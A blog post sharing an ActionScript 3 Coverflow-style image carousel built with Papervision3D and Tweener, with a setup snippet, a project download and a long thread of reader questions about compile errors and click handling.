//RemSrv 02: Initialize the remoting object public Counter() { Console.WriteLine("Remote Object Created. " + Environment.NewLine); } //RemSrv 03: Perform the counting operation. This will take sometime and is useful to explain // How async call to this method is useful from the client end. public void PerformCount() { int x; for (x = 1; x < 10000; x++) Console.WriteLine("Current Count : " + x.ToString()); Console.WriteLine("Counting is finished"); return; }
3) In the application entry, we are hosting the remote object under the name Counter. For more detail look at the basic article (the first one)
//RemSrv 04 : Required Assemblies using System.Runtime; using System.Runtime.Remoting; using System.Runtime.Remoting.Channels; using System.Runtime.Remoting.Channels.Tcp; namespace RemotingDelegate { class Program { static void Main(string[] args) { //RemSrv 05 : Create a communication channel (Server) and register it TcpServerChannel SrvrChnl = new TcpServerChannel(13340); ChannelServices.RegisterChannel(SrvrChnl, false); //RemSrv 06 : Register the Remote Class so that the Object can go //and sit on the Remote pool RemotingConfiguration.RegisterWellKnownServiceType (typeof(RemotingDelegate.Counter), "Counter", WellKnownObjectMode.SingleCall); //RemSrv 07 : Halt the server so that Remote client can access the object Console.WriteLine("Server is Running..."); Console.WriteLine("Press Any key to halt the Server"); Console.ReadKey(); } } }
4. Codes for The Client
The client is the windows application and the form details and what each UI is explained in section 2 of this article.
1) The below namespaces are included in the form to access the Remoting as well as very basic thread function Thread.Sleep. Also, note that the project reference for the server also included. Once the application is built properly then you can split the exes into server and client machines for testing purposes.
//Client 01: Include the required namespace using System.Runtime.Remoting; using System.Runtime.Remoting.Channels; using System.Runtime.Remoting.Channels.Tcp; using System.Threading; using RemotingDelegate;
2) Once we are ready with the required namespaces, two delegates of the same are declared at the class level. Actually, one delegate is sufficient, I kept two just to differentiate the way I am going to use it.
//Client 03: Declare delegates for Sync Call and Async Call public delegate void SyncCall(); public delegate void AsyncCall();
3) The LocalCounter function here does the same job of the function PerformCount on the server. So there are two long running tasks, one at the server side and the other one is at the client side.
//Client 06: Start the Local Counter. Assume that It is a long running task. private void LocalCounter() { long x; lblDisplay.Text = "Starting the Local Count..."; for (x = 1; x < 10000; x++) { txtCount.Text = x.ToString(); Application.DoEvents(); } lblDisplay.Text = "Local Count is Done."; }
4) The click event handler for the button Start Sync first creates the proxy for the remote object and stores that in the variable cntObj. Then a delegate object of type SyncCall is created and it is pointing the remote function PerformCount. The function PerformCount is passed to the delegate object by using the proxy cntObj. Once the delegate fnCounter is ready, a call to the remote function PerformCount is made using the delegate. And after that a call to the local task (LocalCounter) also made. Below is the code:
private void btnSync_Click(object sender, EventArgs e) { //Client 02: Get the Proxy for remote object Counter cntObj = (Counter)Activator.GetObject(typeof(Counter), "tcp://localhost:13340/Counter"); //Client 04: Call the remote method through the delegate. This call is Synchronous. SyncCall fnCounter = new SyncCall(cntObj.PerformCount); fnCounter(); //Client 05: Call the Local Counter LocalCounter(); }
Note that after making a call to the remote object (by the statement fnCounter), the execution will pause till the remote function finishes its task. Once the task is completed on the server, the execution resumes here on the client and the function LocalCounter starts executing. You can observe this by running the sample, the count on the server is displayed in the console window, once the count is completed, you will see an increment in the counter on the textbox of the form.
5) For making the asynchronous call, the delegate is created is in the same way as we did in the previous step. Below is the code:
/);
6) Once the delegate is created, instead of directly calling the function, we are using the BeginInvoke method on the delegate. The first parameter is actually a call back that a server will call once it completes the operation. That is not covered here and I am leaving it to you to explore yourself. I am passing null for both the parameter. The return value is stored in the IAsyncResult. This is to do a check on the Server operation to make a safe call on the EndInvoke.
//Client 08: Call the remote method through the delegate. This is an //Asynchronous call. IAsyncResult AR = FnCounter.BeginInvoke(null , null);
7) After the above call, we are making a call to the local computer function. But, here the client after making a call to the PerfomCount using the BeginInvoke method on the delegate immediately moves to the next statement, which is a function-call for local counting. So there is no waiting for the server to complete its task.
//Client 09: Call the Local Counter. The Local Counter also // run in parallel now, and we no need to // wait for the remote call completion. // The remote counting method, Once Done, calls our // call back method CallBackHandler. LocalCounter();
8) Finally, after making both the function run simultaneously, we are waiting at the end of the routine to make a call to the EndInvoke, which is the pair of its corresponding BeginInvoke. The IsCompleted property of the return value of the BeginInvoke method is used to test whether server function tied to the delegate is finished or not. Once we know the server is done with the operation, we can make a call to EndInvoke by passing the value returned from the BeginInvoke function call.
//Client 10: Test the Remote counting is finished or Not before // invoking the EndInvoke method on // the delegate while (!AR.IsCompleted) Thread.Sleep(500); FnCounter.EndInvoke(AR);
9) The entire event Handling routine for the Start Async button is shown below:
private void btnAsync_Click(object sender, EventArgs e) { /); //Client 08: Call the remote method through the delegate. This is an // Asynchronous call. IAsyncResult AR = FnCounter.BeginInvoke(null , null); //Client 09: Call the Local Counter. The Local Counter also run in parallel // now, and we no need to wait for the remote call completion. // The remote counting method, Once Done, calls our call back // method CallBackHandler. LocalCounter(); //Client 10: Test the Remote counting is finsihed or Not before invoking // the EndInvoke method on the delegate while (!AR.IsCompleted) Thread.Sleep(500); FnCounter.EndInvoke(AR); }
5. Screen Shot of Sync and Async Call
Sync Call:
Note: The Server finished the count and Client not Yet Started.
Async Call:
Note: When the server is at the courting 32 and client is at 4533. It shows both the function is running in parallel.
The above app is created in VS2005. If you have advanced IDE, Say yes to the conversion UI displayed. | http://www.mstecharticles.com/2011/04/ | CC-MAIN-2018-13 | refinedweb | 1,616 | 65.32 |
Object Oriented Programming With C Constructors Getter Setter
Here through this article, we will discuss about the basics of Object Oriented Programming. Our codes will be based on C++ programming language while the concept is the same for other OOP languages too. We will write 3 files amongst which one is the header file, the second one is the implementation of the header template. Finally we will have one main program. By the end of this read, you will be able to write codes in Object Oriented Programming languages. We will cover constructor, destructor, setter and getters.
Class definition file Computer.h
#include using namespace std; class Computer{ private: string deviceType; string nameofBrand; public: Computer(string brandName="lenovo",string typeofDevice="laptop"); ~Computer(); void setBrandName(string brandName); void setDeviceType(string typeofDevice); string getBrandName(); string getDeviceType(); void displayDeviceInfo(); };
The above program shows the structure of our class Computer. The file Computer.h is our class template file.
1. Line 1 and 2 are the include statements of our input/output header file i.e iostream
2. Line 4: Our class for this example is Computer in which the starting alphabet is capital which is the convention of OOP.
3. Line 5 to 7: In C++ we place the private variables after the keyword private followed by a colon. For our example we have two private variables deviceType and nameofBrand. The private variables cannot be accessed by the object.variableName while it is possible to access it via member functions i.e the methods that are public. Basically on a general sense, private variables can be accessed only within the class.
4. Line 8 to 15 are the member functions of class Computer. Here the functions/methods are placed after the keyword public: . This means the object of class Computer can access these member functions directly via object.memberFunction().
5. Line 9 and 10 are different than the other member functions. Line 9 is the definition of the constructor for our class Computer. The constructor contains the name same to the class name. This is the convention for all the OOP. A constructor has no return type as it is basically used for the initialization of the private variables. The code inside the constructor runs at the time of object creation. In our header file, we have two parameters in the constructor and each of the parameter is initialized by the default value. Line 10 is the definition of destructor. In C++ destructor has same name as the class name except it contains “~” sign before the name. Destructor are basically used to destroy other classes initialized in the current class.
6. Line 11 to 14 are the setter and getter methods for the private variables deviceType and nameofBrand. The setter methods have no return type and takes values through parameters which are to be set to the private variables. The getter methods are used to access the private variables and takes no parameter as it’s function is to return the value and not accept any parameters. Therefore getters have return type which is based on the type of private variables.
7. Line 15 is the member function like all others which has return type void and takes no parameter/argument.
The following file is Computer.cpp file which contains the implementation of the class definition Computer.h
Class implementation file Computer.cpp
#include #include "Computer.h" using namespace std; Computer::Computer(string brandName,string typeofDevice){ setBrandName(brandName); setDeviceType(typeofDevice); } Computer::~Computer(){ cout<<"Object Destroyed!!"<<endl; } void Computer::setBrandName(string brandName){ nameofBrand = brandName; } void Computer::setDeviceType(string typeofDevice){ deviceType = typeofDevice; } string Computer::getBrandName(){ return nameofBrand; } string Computer::getDeviceType(){ return deviceType; } void Computer::displayDeviceInfo(){ cout<< "It is a " << getDeviceType() << "and belongs to "<< getBrandName()<<endl; }
1. Line 1 to 3 contains the include statements. We have to include the header file Computer.h in our implementation file. The standard header files are included via statement #include<header> while the header files created by the user are included via statement #include “Header.h”
2. Line 5 to 8 is the implementation of the constructor of the class Computer. It takes two arguments namely brandName and typeofDevice. Inside the function setBrandName and setDeviceType methods are called with the parameters brandName and typeofDevice respectively. Whenever an object of class Computer is created, the codes inside the constructor is run immediately.
3. Line 10 to 12 is the implementation of the Destructor of the class Computer. The destructor is basically used to terminate/kill the objects of the other classes initialized in the current class. In our example, we have done nothing but printed that the object has been destroyed.
4. Line 14 to 16 is the implementation of the method setBrandName. It is a setter method. Conventionally setter method begins with “set” followed by the variable name. Our setBrandName takes one argument and is of return type void. Inside the method, nameofBrand is set to the value passed in as an argument. nameofBrand is our private variable hence a public method is used to access and alter it’s value i.e setBrandName.
5. Line 18 to 20 is the implementation of the setDeviceType. Similar to the setBrandName method, it is also a setter method. This method is used to set the value of the private variable typeofDevice. This method also takes one argument and is of return type void.
6. Line 22 to 24 is the implementation of the method getBrandName. Unlike setBrandName, getBrandName is a getter method that is used to return the value of a private variable which in this case is nameofBrand. The return type of a getter method is same as the type of variable it returns. In our example, getBrandName is of string return type which takes no parameter/argument.
7. Line 26 to 28 is also a getter method that is used to return the value of the variable deviceType. It is of string return type because it is used to access the value of the variable deviceType which is of type string.
8. Finally we have our last method in the class computer which in this case, we are using to print out the information of the device based on the entries entered at the type of object creation. Method displayDeviceInfo is a void return type method that takes no parameter. Here we are using the standard of method of accessing the private variables i.e using getter methods. The method when invoked on an object prints the deviceType and nameofBrand.
Let us take a look at our main program where we create objects of class Computer and invoke various methods of the class. Below is the main program.
Main program testprogram.cpp
#include #include "Computer.h" using namespace std; int main(){ string deviceBrand; string typeofDevice; Computer computers[5]; for(int i = 0; i < 5; i++){ cout<< "Enter the brand of your computer for position "<< i+1<<endl; getline(cin,deviceBrand); cout<< "Enter the type of computer for position "<< i+1<<endl; getline(cin,typeofDevice); Computer objectHolder(deviceBrand, typeofDevice); computers[i] = objectHolder; } for(int i = 0; i < 5; i++){ Computer objectHolder = computers[i]; objectHolder.displayDeviceInfo(); //computers[i].displayDeviceInfo(); } }
1. Line 1 to 3 are the statements to include the iostream and our Computer class that we coded earlier. As discussed earlier, we include the non-standard class (Computer.h in this case) in the format #include “Header.h”. One thing to note is that we include the class definition file and not the implementation file.
2. Line 6 to 7, we declare two variables of type string.
3. Line 9 begins the OOP portion. Here we are declaring an array of type Computer of size 5. This means each index of the array computers can hold an object of Computer class.
4. Line 11 to 23 is a for loop where we iterate for the number of times equal to the size of our array I.e five. We then take input from the user for the variables deviceBrand and typeofDevice declared earlier. Next, we create an object named objectHolder of class Computer. You will notice we have passed in two arguments at the time of creation of the object. Now this invokes the constructor of Computer class. Everything that’s inside of the constructor gets run at this instance. Finally, we are assigning the objectHolder to the array’s current index. Summing up we will have five objects assigned to the array at the end of our loop.
5. Line 25 to 30 is another loop. Here we invoke the displayDeviceInfo method of the class Computer on each object stored in the array computers. On invoking the method, we get the information of the device we’ve entered at the time of creation of the object.
Following is the output of our program. You will see Object destroyed being printed several time. This is because we have a destructor method in our computer class. | http://www.thetaranights.com/object-oriented-programming-with-c-constructors-getter-setter/ | CC-MAIN-2018-26 | refinedweb | 1,485 | 57.37 |
The QStackedWidget class provides a stack of widgets where only one widget is visible at a time. More...
#include <QStackedWidget>
Inherits QFrame..
This property holds the number of widgets contained by this stacked widget.
By default, this property contains a value of 0.
Access functions:
See also currentIndex() and widget().
This property holds the index position of the widget that is visible.
The current index is -1 if there is no current widget.
By default, this property contains a value of -1 because the stack is initially empty.
Access functions:
See also currentWidget() and indexOf().
Constructs a QStackedWidget with the given parent.
See also addWidget() and insertWidget().
Destroys this stacked widget, and frees any allocated resources.().
This signal is emitted whenever the current widget changes.
The parameter holds the index of the new current widget, or -1 if there isn't a new one (for example, if there are no widgets in the QStackedWidget).
See also currentWidget() and setCurrentWidget().
Returns the current widget, or 0 if there are no child widgets.
See also currentIndex() and setCurrentWidget().
Returns the index of the given widget, or -1 if the given widget is not a child of the QStackedWidget.
See also currentIndex() and().
Removes the given widget from the QStackedWidget. The widget is not deleted.
See also addWidget(), insertWidget(), and current signal is emitted whenever a widget is removed. The widget's index is passed as parameter.
See also removeWidget(). | http://doc.trolltech.com/4.5/qstackedwidget.html | crawl-002 | refinedweb | 237 | 53.07 |
Join the community to find out what other Atlassian users are discussing, debating and creating.
Hi Team,
I'm Wondering that In my Jira I have 3 Groups(X,Y,Z) each group contains like 10 users.
Group X : a,b,c,d
Group Y : e,f,g,h
Group Z : i,j,k,l
So in a project if any user is creating a issue if that issue is assignee to " a " user the group filed has to automatically update to Group "X".
same like that depends up on assignee user the group filed has to change to user related group
is this Possible if it is can you please suggest me how to do this
Thanks,
Kumar
You should be able to write a scripted listener that runs on issue create, update and assigned, looks at the assignee and works out which group to update the field with.
You do have one possible logical problem to think through - imagine user N is in groups Y and Z - which group goes in your group field?
Hi @Nic Brough thanks for your response,
I have 3 groups and in those groups we don’t have any users in two groups .
the X group will create the issues and then Y and Z group users will work on those issues most of the time
only in some cases the X group will assigne them self
On one transition of workflow I added a post-function if any user execute that transition that user will be current assigne of that issue
so here i’m Trying when ever assignee changes I have a group picker field that has to change automatic to user belonged group
can you please help me in script
thanks,
kumar
Hi @Nic Brough
I have found an similar script in atlassian community I have modified that script can you please help with the script if it is wrong
import com.atlassian.jira.component.ComponentAccessor
import com.atlassian.jira.issue.ModifiedValue
import com.atlassian.jira.issue.util.DefaultIssueChangeHolder
def currentIssue = event.issue;
def customFieldManager = ComponentAccessor.getCustomFieldManager();
def assigneeField = customFieldManager.getCustomFieldObjectByName("assignee");
def assignmentgroupField = customFieldManager.getCustomFieldObjectByName("Assignment Group")
def assigneeFieldValue = currentIssue.getCustomFieldValue(assigneeField);
def assigneeFieldValueString = assigneeFieldValue.toString()
def optionsManager = ComponentAccessor.getOptionsManager();
def changeHolder = new DefaultIssueChangeHolder();
if (assigneeFieldValueString == "kumar") {
def assignmentgroupFieldOption = optionsManager.getOptions(assignmentgroupField.getRelevantConfig(currentIssue)).find {it.value == "Incident-Developer1"};
assignmentgroupField.updateValue(null, currentIssue, new ModifiedValue(currentIssue.getCustomFieldValue(assignmentgroupField), assignmentgroupFieldOption), changeHolder);
}
here is the Logs :
2019-01-16 16:40:58,911 ERROR [runner.AbstractScriptListener]: ************************************************************************************* 2019-01-16 16:40:58,912930.run(Script930.groovy:9)
the script does not have any errors but when i assign the Issue to my id the group field not generating the value
Can you please suggest me how to achieve this
Thanks,
Kumar
The error log tells you that on line 9, there is an error with getCustomFieldValue - the most likely reason is that you have fed it nonsense for the custom field, so I'd then look at line 7 where you set the variable. Best guess - you don't have a custom field called "assignee", or you have two or more.
Hi @Nic Brough Thanks for you response
Here i'm using on create and edit screens "Assignee" is system filed and "Assignment Group" is Group picker field that i created
I have modified again script still the logs shows an error
Logs:
2019-01-16 18:26:34,972 ERROR [runner.AbstractScriptListener]: ************************************************************************************* 2019-01-16 18:26:34,972995.run(Script995.groovy:9)
Thanks,
Kumar
Ok, so you need to use the Assignee field, not the non-existent "assignee" custom field.
HI @Nic Brough Thanks for your response
Yes that's correct
I want to use "Assignee" Field which is already exist in jira
Here What i'm trying to do is I will Give all the User's name's and Related Group inn the script so when ever the Issue get Created / Updated if the Users that i mention in the script if they are in "Assignee" Field of the issue then the "Assignment Group" has to appear with that value automatic.
This is what i'm trying to do
Thanks,
Kumar
I know what you're trying to do. You need to use the Assignee from the issue, not a custom field that does not exist.
Hi @Nic Brough Thanks for your response
Here I have achieved in one way On issue create transition i added an "Post-function custom script "
In the Script i mention the "group name" so here when ever the issue is creating while creating if the issue is assignee to user from the Given group then the group field will display the Group name on view screen.
its worked as expected
But I need to add in the script all groups to display when the users from those group got assigned to that issue its has to display the user belonged group name in that group field
while Creating the issue and Updating the issue.assignee?.name, 'Developer-jira1')) { // Check if the user in Group A
def cf = customFieldManager.getCustomFieldObjectByName("Assignment Group") // group Custom Field
def correctGroup = groupManager.getGroup("Developer-Jira1") //
}
Can you please help me in script that adding the extra groups
Thanks,
Kumar
I'm a bit stuck - I think you are trying to do this:
>all groups to display when the users from those group got assigned to that issue its has to display the user belonged group name in that group field
But that does not make sense. Could you explain it for me?
Hi @Nic Brough Thanks for your response
> I have resolved it I wrote a Script Listener Script in that I mention all groups so when ever the user assigned to any issue if that user belonged to one of those group it will display the user belonged group.
> If the User is in multiple groups in that case when ever the Script listener logs reads the group info it will take the 1st group name of that user who is in Multiple groups
Here I'm trying to add one more thing Nic could you please help How to get that
> When Ever the Group Field changes Assignee Filed has to set "Unasigned"
Here i'm trying to get the info when the Issue got updated i wantt to read which field has been updated in the Script Listener
Can you please tell how to achieve this
Thanks,
Kumar has some listener code that lets you read through what is contained in an event (including field. | https://community.atlassian.com/t5/Jira-Service-Desk-questions/Depends-Upon-Assignee-User-the-Group-field-set-to-user-related/qaq-p/971461 | CC-MAIN-2019-39 | refinedweb | 1,092 | 52.83 |
Use variable in OpenSesame
Hi Sebastiaan and all,
I'm stuck in a simple problem. I want to save my data in my own file as I want the experiment to be done several times by the same subject and I would like is datas to be appended in the same file.
In order to do that I would like to save a file with my subject number.
So I tried things like:
import os
path = exp.experiment_path + "/results." + var.subject_nr + ".txt"
myfile = open(path, 'a') # Open for output (creates).
myfile.write('MoyOrtho\tMoyRime\tMoySém\tRepCorr\n')
myfile.close( )
But this part
path = exp.experiment_path + "/results." + var.subject_nr + ".txt"
is wrong.
Would you have any idea of the problem, please ?
Best regards,
Finally I used the old variable access solution and it's working:
path = exp.experiment_path + "/results." + str(self.get('subject_nr')) + ".txt"
But I don't understand why the new way (str(var.subject_nr)) is not working...
Best
Hi Boris,
Two things for sakes of completeness.
1)
var.subject_nrreturns an integer. You can't concatenate integers with strings. So if you had used
str(var.subject_nr), it would also have worked.
2). To create paths, you better use the os library (which you already import but never actually use). Doing this makes the creation of concatentated paths easier and platform independent:
path = os.path.join(exp.experiment_path, 'results'+str(var.subject_nr)+'.txt')
Eduard | https://forum.cogsci.nl/discussion/comment/9580/ | CC-MAIN-2020-40 | refinedweb | 234 | 51.65 |
Hi,
I use sheet.Cells[1, 2].Style.Number = 4; to style my format in excel as number. It works only if the number i use as input have fraction, and if its a whole number i get it in excel as a string.
example:
the number i try to put in the cell is 15,42 then i got the formation as a number in excel
but if the number is 15,00 u get 15 as a string and not 15,00 as number
Regards,
Tjiper
Hi,
Hi Tjiper,
I don’t find the issue using your scenario a bit. To get the value from a cell in the sheet, you may use Cell.StringValue attribute.
If you still could not figure it out, kindly give us your sample code with the template file(s), we will check it soon.
Thank you.
i am trying to write a number that is formated as a number in excel. and i am getting it as a string in excel if its a a whole number.
Hi,<?xml:namespace prefix = o
Thank you for considering Aspose.
Well, I have tried to implement your scenario and it works fine. Please see my sample code,
Sample Code:
//Instantiating a Workbook object
Workbook workbook = new Workbook();
//Adding a new worksheet to the Workbook object
workbook.Worksheets.Add();
//Obtaining the reference of the newly added worksheet by passing its sheet index
Worksheet worksheet = workbook.Worksheets[0];
//Adding the current system date to "A1" cell
worksheet.Cells[2,1].PutValue(15.00);
//Setting the display format of the cell to number 4
worksheet.Cells[2,1].Style.Number = 4;
//Saving the Excel file
workbook.Save("C:\\book1.xls", FileFormatType.Default);
If you still face any confusion, please share your code and template file (As suggested by Amjad), we will look into it.
Thank You & Best Regards,
thanks for your support.
i had the same code above, but i didnt convert the number i had to a double before i place it in the cell, but now since i convert it to a double it works.
regards
Tjiper
| https://forum.aspose.com/t/i-dont-get-my-number-formated-as-numbers/81294 | CC-MAIN-2022-33 | refinedweb | 351 | 70.43 |
Yet Another Coverflow using Papervision
UPDATE: Now uses Papervision 2.0 Alpha (GreatWhite).
There are a million Apple Coverflow knockoffs (blitz, doug mccune, antti kupila, weber design) and now there are a million and one. This one is made using Papervision3d and Tweener and includes keyboard and scrollwheel support. Here are two uses, one pulling from a friend's Flickr photo stream, and the other pulling from DTS's recent media items:
This uses the
Phunky GreatWhite branch of Papervision ( 1.9 or so 2.0 Alpha). Here's the setup:
var coverFlowData:Array = [{title: "item title", clickUrl:"", imageUrl:""}]; var coverFlow = new CoverFlow(stage, camera, scene, coverFlowData);
And here's the project (for Flash CS3): coverflow.zip (16.21 kb)
I used the following lines to setup your CoverFlow file with Phunky branch of Papervision 1.9:
var coverFlowData:Array = [{title: "item title", clickUrl:"", imageUrl:"ImageFlow/pic/1.jpg"}];
var camera:Camera3D = new Camera3D();
var container:Sprite = new Sprite();
var scene:Scene3D = new Scene3D(container);
addChild(container);
var coverFlow = new CoverFlow(stage, container, camera, scene, coverFlowData);
but I get the following errors:
DisplayObject3D: null
DisplayObject3D: null
Papervision3D Beta 1.9 – PHUNKY (20.09.07)
DisplayObject3D: null
0: 5
DisplayObject3D: null
TypeError: Error #1010: A term is undefined and has no properties.
at com.webeyestudio::CoverFlow/::shiftCoverFlow()
at com.webeyestudio::CoverFlow/com.webeyestudio::imageLoaded()
Can you suggest any solution to solve the problem I am having?
@umer,
I just updated the download to include a full project instead of just the class, so you can see how it all works. It includes parsing the RSS feed from flickr.
@John Dyer
Thanks for the quick response. I appreciate it.
hi there!
as i tried to start the coverflow from the .fla in the zip,
i got some errors, i´m not quite sure how to manage them.
as far as i see, there is a problem with the AS3 Tweener Class I installed:
@gnupi, it looks like your comment got cut off…
Hi, great job man!
First of all i’d like to thank you for the code, is really cool.
I m trying to implement it, but just can’t make the InteractiveScene3DEvents in the planes work. I wonder if you could help me with that.
P.D: I am using PHUNKY (20.09.07)
Thanks in advance.
Hi !
First i’d like to congrate you for your great work ! But i’m such a noob in flash and i’ve tryed severals times to made your coverflow working with my flickr ID but i got 3 errors when i compile my .fla
I think i’ve got trouble with tweener but i don’t know how to use it, could you please help me
thanks Fab.
Hey man — great work! This looks to be the best CoverFlow component out there yet. The movement is very smooth. Have you looked at killing the unnecessary idle time rendering as done in Doug’s implementation?
~ Chris
@fabien, you might want to check that the paths to Papervision and Tweener are setup correctly for your site.
@Chris, for one implementation I did add some code to only render when there is movement. Perhaps I’ll update the source for PV2.0
Hi,
your cover flowrocks! And reading this article I discovered both papervision and tweener… awesome stuff, thank you.
but…
I have a little problem, when i try to use you .fla, after the installation of papervision and tweener, I get this errors that I can’t fix ..
ten error with this description
@K, looks like your comment got a little messed up. Sorry about that.
As for the Phunky branch, it has been discontinued in favor of PV2.0 which is currently alpha. I need to update my stuff to see if it works with PV, but I might wait until it’s more stable.
I’ve been looking around for an AS3.0 cover flow and yours is by far the best so thank you very much for sharing your code. However, I am having a couple problems getting the code to work on my cpu. Here are the main errors I am getting…
CoverFlow.as line 168: planeMaterial.interactive = true
CS3 doesn’t recognize the interactive property of PV’s BitmapMaterial
CoverFlow.as line 218: if (!showReflections || ev.y <= ev.displayObject3D.extra.height )
CS3 doesn’t recognize the y property of PV’s InteractiveScene3DEvent
FlickrFlow.as line 59: scene = new Scene3D( container, true )
CS3 expects one argument where you give Scene3D two arguments
I am using PV 1.5 and Tweener 1.26.62 both from code.google.
Help would be greatly appreciated, as I am doing my best to learn the PV class.
@Bryan, this coverflow was created under Papervision 1.9 (Phunky). Unfortunately, the code for "interactive" changed a lot between 1.0, 1.5, 1.9 and now 2.0. I would recommend upgrading to 2.0 (using SVN). I updated my code to 2.0 and I’ll post it soon.
please John, do a favor and publish 2.0 code. Thanks!
please John, publish 2.0 code. Thanks you too!
The Papervision 2.0 (GreatWhite) code is up. Also includes Chris Bray’s suggestion about idle time rendering.
Great work,
Having trouble finding how the scrollbar works. no scrollbar is defined
in the call to GenericScrollbar(_stage, scrollbar, scrollbar);
Thanks
hey. i a very small amount of flash knowledge. i’d like to post a flash cover flow of some images i have.. i like the one you have here on your site, but i’m not exactly sure what i have to do in order to do that. could you help me out? thanks for your time.
I don’t understand how to implement it.
If you change the size
CoverFlow(stage, camera, scene, coverFlowData, true,390,325)
(instead of 240/200) the clipping is horrible.
Any ideas how to enable a larger display of items?
Nevermind – it’s a fault of PV3d, not the script..
If you increase the size of the items, of have more items on the stage at once (say 1400pixels wide) then you get clipping..
When I ported this to flex I got clipping from about 6 items left and on, and 6 items right and on..
The fix is to move out (decrease your Z-index value) and zoom in with the camera (like a zoom of 4 and a z of -700)
@Dan, thanks for the updates. I noticed something like this as well. It also seems to differ from PV 1.5, 1.7, 1.9, and 2.0. I’m glad you found a good solution. Also, you could try increasing the number of triangles for each image…
John,
This is awesome stuff but it seems like there is a problem with the eventListener added to the plane. Sometimes it doesn’t register a click at all and other times it will send me back the wrong index. I noticed you have the same problem on the two examples you posted so I’m wondering if this is a problem with papervision 2.0.
@James, I think it’s a problem with PV2.0. I still have the PV 1.9 code lying around and it worked perfectly, so I need to get around to releasing it sometime.
John, Thank you so much for the quick reply. I appreciate you making this open source. When you post the working 1.9 code, you will without a question have the best flash coverflow option on the internet.
John,
I’m very interested in using this coverflow in a website my department is working on but as other forum posters have already found, the 2.0 is a little finicky. I was just wondering if posting the 1.9 was anywhere on the horizon.
Thanks,
Jorge
The PV2.0 (GreatWhite) [b]event problems have been fixed[/b] based on a tip from Jorge. The download has been updated.
I really love this CoverFlow… It’s very smooth, in contradiction to most others.
The only problem I had was trying to put it on a white background, but after a moment of changing and trying i finally found a way to make non greyish reflections.
You should add transparency. I made it work with transparant images, as you would normally see the gradient over other images, and it looked quite nice ().
Thank you very much, for this wonderfull CoverFlow (for which I had been looking quite some time)
hi,
verry nice work!!
where do i have do change the paths to PV and Tweener?
thx 4 answer
sebastian
@Sebastian, Open the .fla file and go to Properties and click the settings button next to the Actionscript version dropdown. You can also do this at "Edit > Preferences > Actionscript > ActionScript 3.0 Settings"
Very nice script but 2 question :
where are the images (covers), how define it
How integrate the SWF to a simple web page ?
thanks
Very nice coverflow
One of the most ‘apple like’ 😀 But hey… Could you explain me how to use this 😀 ? I’m a noob in flash and just dunno what to do… How to put images? How to get this thing working
What to do if i want to open a bigger version of image when clicking on a cover?
Thanks 4 answer!!
Oh… And where can i find PV 2.0 if i need it?
Martin, I don’t think I’ll be able to help you in just a comment, but I can tell you that you can get the GreatWhite branch of PV3D from
Hi John, i succed in custom your coverflow and integrate it on my future website project, it’s excellent ! but there is one problem, the fact to click the on left or on right cover with the mouse don’t work everytime, it don’t scroll and move the wanted item and center it, sometimes it work when click on scroll bar or use keybord arrows but not everytime, i have PV2.0 like u said and tweener and right configured the AS files source, so i have made my own searches, look papervision as files and haven’t find why i do it, but i’m sure that it’s happen hre, on CoverFlow.as file, under the mousedonwHandler private function :
var index = viewport.hitTestMouse().displayObject3D.extra.planeIndex;
please tell me more, thank you very much, very nice script, apolozige my speaking.
your example is cool…thanks for providing the code.
I’m having problems though: the coverflow shelf can’t seem to be able to stick to the center of the screen and it always loads and displays in the bottom right corner..
(I’m new to Papervision3d) I tryied moving the camera, moving the scene, moving the viewport, adding them to a container e and move the container…but I couldn’t make it mode from the lower right corner
I used the greatWhite branch
do you have any tips on how one could center the shelf?
any documentation on what the viewport3d does? how is it different from the scene?
thanks alot anyways
Hello, John. Splendid piece you have here. I would like to use this on my websites, but I don’t know beans about Flash (I have vCS3, however). If there is a tutorial available for nooblings, or an IRC chan, or something, google hasn’t come up with it. So, um… help? I need help with what elements of GreatWhite to download and where to put them, where to put the Tweener files, and how to edit the AS’s and FLV to have my pictures show (that might be all, but I don’t know).
Thanks in advance
Oh, and you can get me at achythlook(a)google(dot)com, if you wish
I got a bunch of errors. Possibly somebody could help.
I am a Newbee to Papervision, but "Yet Another Coverflow" is perfect!
I really want to get it work.
I used TortoiseSVN to get the latest Papervision-Repository 442.
Then i configured Actionscript3.0 path to \branches\GreatWhite\src.
Tweener Class i put to \en\First Run\Classes\FP9.
——
Occouring errors are: [b](CoverFlow.as)[/b]
[b]Line 177: 1119:[/b] Access of possibly undefined property interactive through a reference with static type org.papervision3d.materials:BitmapMaterial.
[b]Line 229: 1119:[/b] Access of possibly undefined property y through a reference with static type org.papervision3d.events:InteractiveScene3DEvent.
[b]Line 313,326,337 1120:[/b] Access of undefined property Tweener.
[b]Line 29 1172:[/b] Definition caurina.transitions:Tweener could not be found.
—-
So i change AS3 classpath to \as3\trunk\src… this i’ve read anywhere i think in the papervisionwiki…
Only one Error occours:
Line 67 1046: Type was not found or was not a compile-time constant: Viewport3D.
I really would but can’t help myself.
I would really happy if somebody of you could help a little…
Sorry for my bad english, it’s been years ago i spoke the last english word….
Thank you.
Chris
hey John, great thing you created here!
but I found the same bug as nono (earlier comment)….clicking on an item (image) doesnt always work…I found a way to reproduce it: fire the thing up, then click ABOVE the items in the ’empty black area’….then try clicking an item again and it won`t work…I tried to fix this myself but haven`t been succefull (yet!) and hop it is easy for you to fix….I will keep trying though and if I succeed I`ll be sure to post a comment here!
thanx John,
greetings!
Hi John,
Thx a lot for your great job, really huge !
But like some others here, I can’t have the click work each time on the pictures…
I’ve spent hours tryin’ to fix it but without any result…
The only thing I found out is that the clicks work when I comment out this line :
"if ( !showReflections || ev.y <= ev.displayObject3D.extra.height ) { "
If it can help…
Still workin’ on it, I’ll let you know if I find any solution…
Take care.
Charly
@charly: unfortunately that doesnt solve it…..when you read my comment and follow those ‘instructions’ you`ll see it still doesnt work
if the whole thing works from the start seems to depend on where you have your mouse pointer when you export the movie (i do this in my flash IDE with <ctrl><enter>
John, that’s beautiful.
I’m new to actionscript and wondering how I can use this coverflow to load local images.
Thanks alot,
first of all, thanks for sharing this great piece of work. I first had the ‘cant click’ problem, but found a workaround for that issue.
Now I lost my head while trying to figure out a procedure to ‘reset’ the coverflow in order to reinitialize it with a different array of pictures. The problem is -and it cant be a big deal lol- I dont really get to remove the created scene / planes / objects from the stage before the reinitialization…so it places a new (working) coverflow on top of the existing items in the scene / viewport. Any help on the on the ‘removal’ of the created objects would be greatly apprecciated.
once again, respect for that work and the ‘open-sourcing’
d_fyah
Hi John,
